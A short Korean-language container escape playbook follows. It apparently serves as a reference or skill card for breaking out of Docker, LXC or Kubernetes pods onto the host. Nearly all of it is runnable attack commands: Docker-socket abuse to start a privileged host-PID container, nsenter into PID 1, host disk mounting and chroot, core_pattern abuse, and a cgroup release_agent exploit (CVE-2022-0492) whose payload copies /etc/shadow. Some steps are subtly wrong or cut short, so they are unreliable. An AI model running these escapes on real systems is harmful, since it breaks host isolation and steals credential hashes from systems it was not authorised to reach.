컨테이너 탈출 기술은(는) 무엇을 하나요?
컨테이너 탈출 플레이북. Docker 컨테이너, LXC 또는 Kubernetes Pod 내에서 작업할 때 권한 모드, Capabilities, Docker 소켓, cgroup 남용, 네임스페이스 트릭 또는 런타임 취약점을 통해 호스트로 탈출해야 하는 경우 사용합니다.
사용 전 확인
- 현재 컨테이너 내 권한 확인:
cat /proc/1/status | grep CapEff - 마운트된 Docker 소켓 확인:
ls -la /var/run/docker.sock - 사용 가능한 Capabilities 확인:
capsh --print
기본 탈출 기법
1. 권한 모드 (Privileged Mode)
# 호스트 네임스페이스 확인
nsenter --target 1 --mount --uts --ipc --pid /bin/bash
2. Docker 소켓 악용
# Docker 소켓이 마운트된 경우
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host ubuntu bash
3. cgroup 악용 (CVE-2022-0492)
# cgroup notify_on_release를 통한 탈출
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\/percore.priority *//p' /proc/mounts`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/bash' > /cmd
echo "cat /etc/shadow > $host_path/output" >> /cmd
chmod +x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
4. 네임스페이스 조작
# nsenter를 사용한 호스트 PID 네임스페이스 진입
nsenter --target 1 --mount --uts --ipc --pid -- /bin/bash
5. mount 네임스페이스 탈출
# 호스트 파일 시스템 마운트 시도
mount /dev/sda1 /mnt
chroot /mnt /bin/bash
고급 기법
1. SYS_PTRACE + SYS_ADMIN
# ptrace를 통해 호스트 프로세스에 코드 주입
gdb -p <PID>
2. /proc/sys/kernel/core_pattern 악용
# core_pattern을 통한 명령 실행
echo "|" > /proc/sys/kernel/core_pattern
3. runC 취약점 (CVE-2019-5736)
# runC 오버라이드를 통한 탈출 (자세한 내용은 해당 CVE 참조)
참고 자료
경고: 이 기술들은 권한이 부여된 보안 테스트 환경에서만 사용해야 합니다. 무단 사용은 불법입니다.